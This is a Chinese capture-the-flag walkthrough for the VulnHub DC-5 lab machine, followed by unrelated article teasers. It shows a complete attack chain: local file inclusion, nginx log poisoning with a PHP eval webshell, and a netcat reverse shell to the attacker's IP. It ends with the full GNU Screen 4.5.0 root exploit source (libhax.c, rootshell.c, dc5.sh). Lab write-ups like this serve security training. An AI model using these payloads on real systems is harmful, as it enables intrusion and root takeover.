DC-5靶场

目录

DC-5靶机：

先进行主机发现：

发现文件包含：

上传一句话木马：

反弹shell：

提权漏洞利用：

下载exp：                                            

第一个文件 libhax.c

第二个文件rootshell.c：

第三个文件 dc5.sh：

flag:

DC-5靶机：

https://www.vulnhub.com/entry/dc-5,314/

靶机和kali都调节至NAT模式，即可开始渗透

先进行主机发现：

arp-scan -l

以下报告中得知靶机ip是192.168.183.148

Interface: eth0, type: EN10MB, MAC: 00:0c:29:a0:2b:e1, IPv4: 192.168.183.138

WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied

WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied

Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)

192.168.183.1   00:50:56:c0:00:08       (Unknown)

192.168.183.2   00:50:56:fc:0d:25       (Unknown)

192.168.183.148 00:0c:29:aa:41:f8       (Unknown)

192.168.183.254 00:50:56:fe:ac:e6       (Unknown)

Nmap扫描192.168.183.148：

nmap -sV -p-  192.168.183.148

得到报告

Nmap scan report for 192.168.183.148

Host is up (0.00061s latency).

Not shown: 65532 closed tcp ports (reset)

PORT      STATE SERVICE VERSION

80/tcp    open  http    nginx 1.6.2

111/tcp   open  rpcbind 2-4 (RPC #100000)

41656/tcp open  status  1 (RPC #100024)

MAC Address: 00:0C:29:AA:41:F8 (VMware)

  • 80/tcp：这个端口标识为开放状态，使用的协议是HTTP。服务器软件是Nginx版本1.6.2。
  • 111/tcp：这个端口标识为开放状态，使用的协议是RPCBIND。RPCBIND是一个用于远程过程调用（RPC）服务的端口映射程序，它能将RPC程序映射到其所使用的端口上。RPC是一种用于不同计算机之间进行通信和调用远程程序的协议。
  • 41656/tcp：这个端口标识为开放状态，使用的协议是STATUS。STATUS是一个RPC服务的标识号，它通常用于获取远程主机的系统状态信息。

发现文件包含：

dirsearch扫描ip后点击几个页面后发现，在/footer.php这个页面每次刷新年份都不一样，

而在/thankyou.php这个页面下的年份刷新有概率刷出不一样的年份，这说明年份信息是动态获取的，thankyou.php页面的年份刷新逻辑可能会从某个动态数据源中获取年份信息，可能这个年份信息就是从外部文件（footer.php）中获取的。这里的年份变化可能会和文件包含或者随机算法代码逻辑有关，这里我们用参数file测试，发现file=footer.php和file=空时，底下会有区别（一个有年份另一个是空）

当file=/etc/passwd时，读取了文件信息，确认有文件包含漏洞

上传一句话木马：

我们从前面的信息收集中已知这是Nginx服务器，Nginx的日志文件通常位于服务器上的/var/log/nginx目录下，但实际的位置可能因操作系统版本、Nginx配置文件等因素而有所不同。

在Ubuntu和Debian Linux系统中，默认的Nginx日志文件路径是/var/log/nginx，其中包括以下文件：

  • access.log：记录所有HTTP请求和响应的详细信息，包括时间、请求方法、URL、HTTP协议版本、响应状态码、响应大小等。
  • error.log：记录Nginx服务器的错误和警告信息，例如无法启动服务、配置文件错误、连接超时等。

在CentOS或RHEL Linux系统中，默认的Nginx日志文件路径是/var/log/nginx，其中包括以下文件：

  • access_log：与Ubuntu相同，记录所有HTTP请求和响应的详细信息。
  • error_log：与Ubuntu相同，记录Nginx服务器的错误和警告信息。

错误日志会将所有的错误信息都存入日志，如果输入一个不存在的文件，那自然也会当做错误信息存入错误日志里面，那么我们就可以把一句话木马当成这个“不存在的文件名”，接机把一句话木马存入到error.log。直接在url栏写木马可能会被编码后再存入，木马就失效了，所以抓包传木马。以下为数据包内容：

GET /thankyou.php?file=<?Php eval($_REQUEST[6]); ?> HTTP/1.1

Host: 192.168.183.148

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Referer: http://192.168.183.148/contact.php

Upgrade-Insecure-Requests: 1

再次访问http://192.168.183.148/thankyou.php?file=/var/log/nginx/error.log即可看到因为文件名不存在，而写入错误日志的一句话木马

蚁剑链接木马，右击数据点击虚拟终端，在虚拟终端里nc反弹shell

反弹shell：

kali开启监听：

nc -lvvp 666

nc反弹：

nc 192.168.183.138 666 -e /bin/bash

进入交互式shell：

python -c "import pty;pty.spawn('/bin/bash')"

查找设置了Suid权限的文件：

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null

在出来的数据里我们能看见screen 4.5.0，Screen是一个在Unix和类Unix系统上运行的终端复用程序。它允许用户在单个物理终端或远程SSH会话中同时运行多个虚拟终端，并能够在后台运行、分离和恢复会话。和DC-4一样，searchsploit搜索一下exp

提权漏洞利用：

searchsploit scree 4.5.0

出现报告，给出两个exp：

---------------------- ---------------------------------

 Exploit Title        |  Path

---------------------- ---------------------------------

GNU Screen 4.5.0 - Lo | linux/local/41152.txt

GNU Screen 4.5.0 - Lo | linux/local/41154.sh

---------------------- ---------------------------------

Shellcodes: No Results

下载exp：                                            

searchsploit -m 41154.sh       

以下报告得知我的exp下载在 /home/kali/41154.sh

  Exploit: GNU Screen 4.5.0 - Local Privilege Escalation

      URL: https://www.exploit-db.com/exploits/41154

     Path: /usr/share/exploitdb/exploits/linux/local/41154.sh

    Codes: N/A

 Verified: True

File Type: Bourne-Again shell script, ASCII text executable

Copied to: /home/kali/41154.sh

然后根据指示操作：

第一个文件 libhax.c

vim libhax.c 

然后复制以下内容进去：

#include <stdio.h>

#include <sys/types.h>

#include <unistd.h>

__attribute__ ((__constructor__))

void dropshell(void){

    chown("/tmp/rootshell", 0, 0);

    chmod("/tmp/rootshell", 04755);

    unlink("/etc/ld.so.preload");

    printf("[+] done!\n");

}

单独保存并编译，成功会生成libhax.so文件 ：

gcc -fPIC -shared -ldl -o libhax.so libhax.c

第二个文件rootshell.c：

vim rootshell.c

然后复制以下内容进去：

#include <stdio.h>

#include <unistd.h>

int main(void){

    setuid(0);

    setgid(0);

    seteuid(0);

    setegid(0);

    execvp("/bin/sh",  NULL);

}

 执行以下命令，成功会生成rootshell文件：

gcc -o rootshell rootshell.c   

第三个文件 dc5.sh：

vim dc5.sh

复制以下内容进去：

echo "[+] Now we create our /etc/ld.so.preload file..."

cd /etc

umask 000 # because

screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed

echo "[+] Triggering..."

screen -ls # screen itself is setuid, so...

/tmp/rootshell

ls查看三个文件是否存在

由于我的蚁剑就在kali里，所以我在靶机后台的/tmp里直接上传这三个文件（单击右键能看见文件上传选项），如果不在/tmp上传会上传失败，如果蚁剑在物理机，就把三个文件拖出去进行相同操作

上传成功后回到交互式shell这里，先到/tmp目录下

cd /

修改dc5.sh权限：

chmod +x dc5.sh

运行dc5.sh

dc5.sh

当出现#号时即为提权成功，whoami能看到root

flag:

flag在/root下

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：/a/255779.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

人工智能_机器学习069_SVM支持向量机_网格搜索_交叉验证参数优化_GridSearchCV_找到最优的参数---人工智能工作笔记0109

人工智能_机器学习069_SVM支持向量机_网格搜索_交叉验证参数优化_GridSearchCV_找到最优的参数---人工智能工作笔记0109

然后我们再来说一下SVC支持向量机的参数优化,可以看到 这次我们需要,test_data这个是测试数据,容纳后 train_data这个是训练数据 这里首先我们,导出 import numpy as np 导入数学计算包 from sklearn.svm import SVC 导入支持向量机包 分类器包 def read_data(path): wit…
阅读更多...
apache shiro 反序列化漏洞解决方案

apache shiro 反序列化漏洞解决方案

apache shiro 反序列化漏洞解决方案 反序列化漏洞解决方案产生原因解决方案1&#xff1a;1.升级shiro至最新版本1.7.1解决方案2&#xff1a;修改rememberMe默认密钥&#xff0c;生成随机密钥。 反序列化漏洞解决方案 反序列化漏洞介绍 序列化&#xff1a;把对象转换为字符串或…
阅读更多...
弹幕情感分析可视化

弹幕情感分析可视化

弹幕情感分析可视化 引言1. 弹幕数据爬取2. 弹幕数据处理3. 弹幕数据可视化4. 弹幕情感分析5. 创新点&#xff1a;弹幕情感倾向分布 引言 当今互联网时代&#xff0c;大量的弹幕数据蕴含着丰富的信息&#xff0c;通过对这些数据进行分析和可视化&#xff0c;我们能够深入了解用…
阅读更多...
promise到底是个什么？？

promise到底是个什么？？

promise是什么&#xff1f; promise是一门新的技术&#xff08;es6规范&#xff09; promise是js中进行异步编程的新的解决方案 旧的方案是单纯的使用回调函数 具体的说 promise是构造函数 可以快速构建promise对象 快速获取成功或者失败的值 异步操作有哪些&#xff1…
阅读更多...
HackTheBox-Machines--Analytics

HackTheBox-Machines--Analytics

文章目录 1 端口扫描2 测试思路3 漏洞探测4 权限获取5 权限提升 Analytics 测试过程 1 端口扫描 nmap -sC -sV 10.129.205.1422 测试思路 目标服务器只开启了80端口&#xff0c;所以出发点从80端口开始。对于web页面&#xff0c;能做的大致思路有&#xff1a; 1.目录扫描   2…
阅读更多...
【K8S基础】-k8s的核心概念pod

【K8S基础】-k8s的核心概念pod

一、Pod 是什么 1.1 Pod 的定义和概念 在Kubernetes中&#xff0c;Pod是创建或部署的最小/最简单的基本单位。一个Pod代表着集群上正在运行的一个进程&#xff0c;它封装了一个或多个应用容器&#xff0c;并且提供了一些共享资源&#xff0c;如网络和存储&#xff0c;每个Pod…
阅读更多...
Java编程与电脑生产力的奇妙故事

Java编程与电脑生产力的奇妙故事

标题 《Java编程与电脑生产力的奇妙故事》摘要引言电脑选购的艰难决策决定拿下电脑的那一刻1. 用途和需求2. 硬件规格3. 便携性和设计4. 品牌和可靠性5. 预算 电脑与Java编程的默契数码工具与工作成果的交流1. 开发环境选择2. 代码编辑和调试3. 应用程序部署和运行4. 版本控制和…
阅读更多...
Acrel-1000DP分布式光伏系统在某重工企业18MW分布式光伏中应用——安科瑞 顾烊宇

Acrel-1000DP分布式光伏系统在某重工企业18MW分布式光伏中应用——安科瑞 顾烊宇

摘 要&#xff1a;分布式光伏发电特指在用户场地附近建设&#xff0c;运行方式以用户侧自发自用、余电上网&#xff0c;且在配电系统平衡调节为特征的光伏发电设施&#xff0c;是一种新型的、具有广阔发展前景的发电和能源综合利用方式&#xff0c;它倡导就近发电&#xff0c;就…
阅读更多...
JVM-11-运行时栈帧结构

JVM-11-运行时栈帧结构

“栈帧”&#xff08;Stack Frame&#xff09;则是用于支持虚拟机进行方法调用和方法执行背后的数据结构&#xff0c;它也是虚拟机运行时数据区中的虚拟机栈&#xff08;Virtual MachineStack&#xff09;的栈元素。 栈帧存储了方法的局部变量表、操作数栈、动态连接和方法返回…
阅读更多...
【无标题】CTF之SQLMAP

【无标题】CTF之SQLMAP

拿这一题来说 抓个包 复制报文 启动我们的sqlmap kali里边 sqlmap -r 文件路径 --dump --dbs 数据库 --tables 表
阅读更多...
网络空间搜索引擎- FOFA的使用技巧总结

网络空间搜索引擎- FOFA的使用技巧总结

简介 FOFA是一款网络空间测绘的搜索引擎&#xff0c;旨在帮助用户以搜索的方式查找公网上的互联网资产。 FOFA的查询方式类似于谷歌或百度&#xff0c;用户可以输入关键词来匹配包含该关键词的数据。不同的是&#xff0c;这些数据不仅包括像谷歌或百度一样的网页&#xff0c;还…
阅读更多...
2018年第七届数学建模国际赛小美赛B题世界杯足球赛的赛制安排解题全过程文档及程序

2018年第七届数学建模国际赛小美赛B题世界杯足球赛的赛制安排解题全过程文档及程序

2018年第七届数学建模国际赛小美赛 B题 世界杯足球赛的赛制安排 原题再现&#xff1a; 有32支球队参加国际足联世界杯决赛阶段的比赛。但从2026年开始&#xff0c;球队的数量将增加到48支。由于时间有限&#xff0c;一支球队不能打太多比赛。因此&#xff0c;国际足联提议改变…
阅读更多...
C语言之递归函数

C语言之递归函数

目录 函数和类型 阶乘 █递归函数调用 函数中可以调用和该函数自身完全相同的函数&#xff0c;这样的调用方式称为递归函数调用&#xff0c;下面我们就来学习相关的基础知识。 函数和类型 所谓递归&#xff08;recursive&#xff09;&#xff0c;就是将自己包含在内&#x…
阅读更多...
Excel只读模式带有密码，怎么办？

Excel只读模式带有密码，怎么办？

打开Excel文件之后发现是只读模式&#xff0c;并且excel只读模式是带有密码的&#xff0c;该如何取消带有密码的excel只读文件呢&#xff1f; 带有密码的只读模式&#xff0c;是设置了excel文件的修改权限&#xff0c;取消修改权限&#xff0c;我们需要先输入密码&#xff0c;…
阅读更多...
解决docker alpine /bin/sh: ./main: not found

解决docker alpine /bin/sh: ./main: not found

解决docker alpine /bin/sh: ./main: not found golang中编译之后的二进制文件部署在alpine镜像中出现了not found问题解决这种情况是因为动态链接库位置错误导致的&#xff0c;alpine镜像使用的是musl libc而不是gun libc。因而动态链接库的位置不一致。在基础镜像内执行&…
阅读更多...
Kotlin Multiplatform的现状—2023年网络研讨会

Kotlin Multiplatform的现状—2023年网络研讨会

Kotlin Multiplatform的现状—2023年网络研讨会 在2023年&#xff0c;Kotlin Multiplatform因其开发、当前状态和未来潜力而受到了相当大的关注。随着越来越多的开发者对采用KMP进行跨平台解决方案表示兴趣&#xff0c;JetBrains在11月下旬推出了一系列网络研讨会作为回应。首…
阅读更多...
python使用ctypes访问Windows原生API

python使用ctypes访问Windows原生API

在Windows系统中&#xff0c;C语言编写的动态链接库&#xff08;DLL&#xff09;是一种可由多个程序同时使用的代码和数据共享库。DLL文件包含了一些可以被其他程序调用的函数和数据。这些DLL文件通常与应用程序一起发布&#xff0c;并在需要时被加载到内存中&#xff0c;以便应…
阅读更多...
创建型模式之抽象工厂模式

创建型模式之抽象工厂模式

一、概述 1、抽象工厂模式&#xff1a;提供一个创建一系列相关或相互依赖对象的接口&#xff0c;而无需指定它们具体的类。 2、抽象工厂模式&#xff1a;一个工厂可以生产一系列产品&#xff08;一族产品&#xff09;&#xff0c;极大减少了工厂类的数量 3、抽象工厂模式&am…
阅读更多...
2023大湾区汽车创新大会在深圳坪山开幕

2023大湾区汽车创新大会在深圳坪山开幕

12月15日&#xff0c;2023大湾区汽车创新大会在深圳坪山开幕。 本次大会是由广东省科学技术厅、深圳市发展和改革委员会、深圳市工业和信息化局、中共深圳市新能源和智能网联汽车产业链委员会、坪山区人民政府指导&#xff0c;北京理工大学深圳汽车研究院、广东省大湾区新能源汽…
阅读更多...
SpringBoot Whitelabel Error Page 报错--【已解决】

SpringBoot Whitelabel Error Page 报错--【已解决】

springboot 报错信息如下 这个报错页面就是个404 &#xff0c;代表你访问的url 没有对应的的requestmapping 其实没啥影响的一个问题&#xff0c;但是看到Error 就是不爽&#xff0c;改了他丫的 解决方法如下 一、调整application.properties配置【治标不治本】 server.err…
阅读更多...
最新文章

Copyright @ 2022~2023